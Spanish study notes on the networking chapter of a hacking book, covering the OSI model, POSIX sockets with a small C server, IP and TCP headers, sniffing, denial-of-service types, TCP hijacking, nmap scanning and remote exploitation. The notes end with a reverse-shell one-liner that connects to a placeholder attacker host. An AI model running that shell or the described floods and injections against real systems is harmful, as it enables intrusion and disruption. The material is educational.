- 0x410 — Modelo OSI
- 0x420 — Sockets
- 0x430 — Capas inferiores
- 0x440 — Sniffing
- 0x450 — Denial of Service
- 0x460 — TCP/IP hijacking
- 0x470 — Port scanning
- 0x480 — Reach out and hack someone
7 capas, de abajo arriba:
| Capa | Nombre | Unidad | Ejemplos | Dirección |
|---|---|---|---|---|
| 1 | Physical | bit | RJ-45, fibra, Wi-Fi | — |
| 2 | Data Link | frame | Ethernet, Wi-Fi (802.11), ARP | MAC |
| 3 | Network | packet | IP, ICMP | IP |
| 4 | Transport | segment | TCP, UDP | port |
| 5 | Session | data | SSL, sockets | — |
| 6 | Presentation | data | TLS, charset | — |
| 7 | Application | data | HTTP, DNS, SSH | — |
En la práctica usamos el modelo TCP/IP (4 capas):
| TCP/IP | OSI equivalente |
|---|---|
| Link | 1 + 2 |
| Internet | 3 |
| Transport | 4 |
| Application | 5 + 6 + 7 |
Cada capa encapsula la de arriba: HTTP va dentro de TCP, dentro de IP, dentro de Ethernet. Cada capa añade su header (y a veces trailer). El sniffer recibe todo y desencapsula.
+--------+--------+--------+----------+
| ETH hdr| IP hdr | TCP hdr| HTTP req |
+--------+--------+--------+----------+
14 B 20 B 20 B variable
Un socket es un endpoint de comunicación. La API POSIX:
int socket(int domain, int type, int protocol);domain |
Significado |
|---|---|
AF_INET |
IPv4 |
AF_INET6 |
IPv6 |
AF_UNIX |
local (entre procesos del mismo host) |
AF_PACKET |
raw, capa 2 (Linux) |
type |
Significado |
|---|---|
SOCK_STREAM |
TCP — confiable, orientado a conexión |
SOCK_DGRAM |
UDP — sin conexión, sin garantías |
SOCK_RAW |
raw — recibimos cabeceras IP enteras |
Las llamadas básicas:
socket() // crea el descriptor
bind() // asigna IP+puerto local (servidor)
listen() // espera conexiones (servidor TCP)
accept() // bloquea hasta recibir una conexión (servidor TCP)
connect() // se conecta a un servidor (cliente)
send()/recv() // envía/recibe datos
close() // cierra#include "../0x260/0x265_hacking.h"
#include <netinet/in.h>
#define PORT 31337
int main() {
int sockfd, new_sockfd, yes = 1;
struct sockaddr_in host_addr, client_addr;
socklen_t sin_size;
char buffer[1024];
int recv_length;
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) fatal("socket");
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(PORT);
host_addr.sin_addr.s_addr = INADDR_ANY;
memset(&(host_addr.sin_zero), 0, 8);
if (bind(sockfd, (struct sockaddr *) &host_addr, sizeof(struct sockaddr)) == -1)
fatal("bind");
if (listen(sockfd, 5) == -1) fatal("listen");
printf("Escuchando en puerto %d...\n", PORT);
while (1) {
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *) &client_addr, &sin_size);
if (new_sockfd == -1) fatal("accept");
printf("[+] Conexión de %s:%d\n",
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
send(new_sockfd, "Hola desde tinyserv\n", 20, 0);
recv_length = recv(new_sockfd, buffer, sizeof(buffer), 0);
while (recv_length > 0) {
printf("[recv] %.*s", recv_length, buffer);
recv_length = recv(new_sockfd, buffer, sizeof(buffer), 0);
}
close(new_sockfd);
}
close(sockfd);
return 0;
}Probarlo:
$ make 0x420 && ./codigo/0x420/tinyserv &
$ nc localhost 31337
Hola desde tinyserv
hello servercodigo/0x420/tinyclient.c — versión mínima de un cliente HTTP que hace GET / y vuelca la respuesta.
Las direcciones IP y puertos en los headers van en network byte order = big-endian. x86 es little-endian. Por eso siempre que pongas un puerto en un struct, usa htons() (host-to-network short) y al leerlo usa ntohs(). Olvidarlo es el bug nº 1 de cualquier código de sockets.
Funciones:
| Función | Convierte |
|---|---|
htons |
host → network, 16 bits (puertos) |
ntohs |
network → host, 16 bits |
htonl |
host → network, 32 bits (IP) |
ntohl |
network → host, 32 bits |
inet_aton(str, &addr) |
"1.2.3.4" → struct in_addr |
inet_ntoa(addr) |
in_addr → "1.2.3.4" (no thread-safe; mejor inet_ntop) |
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Campos relevantes para hackeo:
- TTL: se decrementa en cada hop. Si tu paquete llega con TTL muy bajo desde un host distante, hubo demasiados saltos (ruta indirecta, posible MITM).
- Protocol:
6 = TCP,17 = UDP,1 = ICMP. - Source Address: falsificable en UDP/ICMP (spoofing). En TCP el handshake exige recibir el SYN-ACK, así que spoofing puro no completa la conexión (necesitas estar en el path o predecir números de secuencia, ver 0x460).
- Fragmentation: un atacante puede partir un paquete malicioso en fragmentos pequeños para evadir IDS que no reensamblan bien.
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Flags relevantes:
- SYN: inicio de conexión. Cliente → SYN → Server, Server → SYN-ACK → Cliente, Cliente → ACK → Server. (Three-way handshake.)
- ACK: acknowledgment. Confirma haber recibido bytes hasta
ack-1. - FIN: cierre amistoso.
- RST: reset, cierre brutal. Útil en port scans (SYN-RST significa puerto cerrado).
- PSH: push — entrega al receptor inmediatamente.
- URG: datos urgentes.
Cliente Servidor
| |
| --- SYN, seq=X --->|
| <-- SYN-ACK, seq=Y, ack=X+1 ---
| --- ACK, ack=Y+1 ->|
| |
| CONEXIÓN OK |
Capturar tráfico que no va dirigido a ti. Requiere:
- Acceso al medio físico (LAN cableada, Wi-Fi capturado, switch SPAN, ARP spoof).
- Modo promiscuo en la NIC (acepta frames con MAC destino distinto).
codigo/0x440/raw_tcpsniff.c — sniffer minimal usando AF_PACKET (Linux). Necesita CAP_NET_RAW o root.
int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));Estructura de un frame Ethernet:
struct ethhdr {
u_char dest[6]; // MAC destino
u_char src[6]; // MAC origen
u_short type; // 0x0800=IP, 0x0806=ARP, 0x86DD=IPv6
};pcap_t *handle = pcap_open_live("eth0", 65535, 1 /*promisc*/, 1000, errbuf);
pcap_loop(handle, 0, packet_handler, NULL);codigo/0x440/pcap_sniff.c — sniffer con libpcap. Compilar con -lpcap.
Sniffing Wi-Fi requiere modo monitor (airmon-ng start wlan0) y capturar 802.11 directamente, no Ethernet. Las distros modernas lo encapsulan como Radiotap header + 802.11.
TLS. Punto. Todo el tráfico interesante moderno va cifrado. Sniffing solo te da metadatos (qué IP habla con qué IP, qué SNI, qué tamaño de paquetes). Para el contenido, necesitas comprometer el endpoint o el certificado.
El libro cubre DoS principalmente como ejemplo educativo de cómo funcionan los protocolos. No reproducir contra sistemas ajenos: es delito.
Mandar muchos SYN sin completar el handshake. El servidor reserva memoria por cada conexión half-open. Si llena la cola, deja de aceptar conexiones nuevas.
Defensas:
- SYN cookies (Linux:
/proc/sys/net/ipv4/tcp_syncookies = 1). El servidor no reserva estado hasta el ACK final; el SYN-ACK lleva una cookie criptográfica. - Rate limiting con
iptables/nftables.
ICMP echo request a una broadcast address, con source IP = la víctima. Cada host del segmento responde a la víctima → amplificación.
Defensas: routers modernos bloquean broadcast pings por defecto (RFC 2644).
Paquete TCP SYN con source IP = dest IP = víctima, mismo puerto. El kernel buggeado se confunde y consume CPU. Hoy ya no funciona (parche desde Linux 2.0.30).
DNS, NTP, memcached: protocolos UDP donde una pequeña query genera una respuesta enorme. El atacante spoofea la source IP a la víctima → amplificación 50x-50000x. No reproducir.
En el handshake, el servidor elige un seq inicial. Si es predecible (counters incrementales en kernels viejos), un atacante puede:
- Spoofear el SYN como si viniera de una IP confiable.
- Adivinar el seq del SYN-ACK (que llega a la IP confiable, no al atacante).
- Mandar el ACK con el seq esperado.
- Conexión "establecida" sin que el atacante reciba el SYN-ACK.
Linux moderno usa números aleatorios (RFC 6528 + RFC 1948), así que esta variante histórica ya no funciona.
Si estás en el path (sniffing + injecting), puedes mandar un RST con los seq/ack correctos y matar una conexión existente. Útil para censura (Great Firewall lo hizo durante años) o para cortar conexiones SSH ajenas en una LAN.
codigo/0x460/rst_inject.c — esqueleto en C usando raw sockets. Solo en redes propias.
Mapear qué puertos están abiertos en un host. Técnicas:
| Técnica | Cómo | Detectable |
|---|---|---|
| TCP connect (full) | connect() normal |
sí, queda en logs |
| TCP SYN (half-open) | mandar SYN, leer respuesta, no completar | menos detectable |
| TCP FIN/Xmas/Null | mandar TCP "raro" | algunos kernels reaccionan diferente entre abierto/cerrado |
| UDP | mandar UDP, esperar ICMP unreachable | lento (rate-limit del kernel) |
| Idle scan (Zombie) | usa IPID de un host idle como oráculo | no aparece nuestra IP |
nmap implementa todas. Para entender qué hace por dentro, codigo/0x470/synscan.c construye paquetes SYN crudos.
nmap -sS -p- -T4 host # SYN scan, todos los puertos, agresivo
nmap -sV -sC -p 22,80,443 host # detección de versión + scripts default
nmap -O host # OS fingerprinting
nmap -sU -p 53,123 host # UDP scan
nmap -sn 192.168.1.0/24 # ping sweep, no portscanEl libro cierra el capítulo con un ejemplo: explotar un overflow remoto y conseguir una shell por la red. Es la combinación de:
- Servidor TCP vulnerable (un servicio con
recv()sin validar tamaño en un buffer fijo). - Shellcode que abre una bind shell o reverse shell.
- Cliente que envía payload + se conecta a la shell.
codigo/0x420/vuln_server.c — servidor vulnerable con un overflow trivial en recv(). codigo/0x420/exploit_remote.py — exploit que sobrescribe RIP y lanza shellcode.
| Shell | Quién escucha | Ventaja | Desventaja |
|---|---|---|---|
| Bind | El target abre un puerto y espera | Simple | El firewall del target suele bloquear puertos entrantes |
| Reverse | El atacante escucha; el target conecta hacia fuera | Atraviesa NAT y firewalls outbound-permisivos | El atacante necesita IP/puerto accesible |
En engagements modernos: siempre reverse, salvo casos exóticos. La regla es "outbound es lo que pasa".
# en el atacante, escuchamos:
nc -lvnp 4444
# el target ejecuta nuestra reverse shell:
bash -i >& /dev/tcp/atacante/4444 0>&1Siguiente: 0x500 — Shellcode.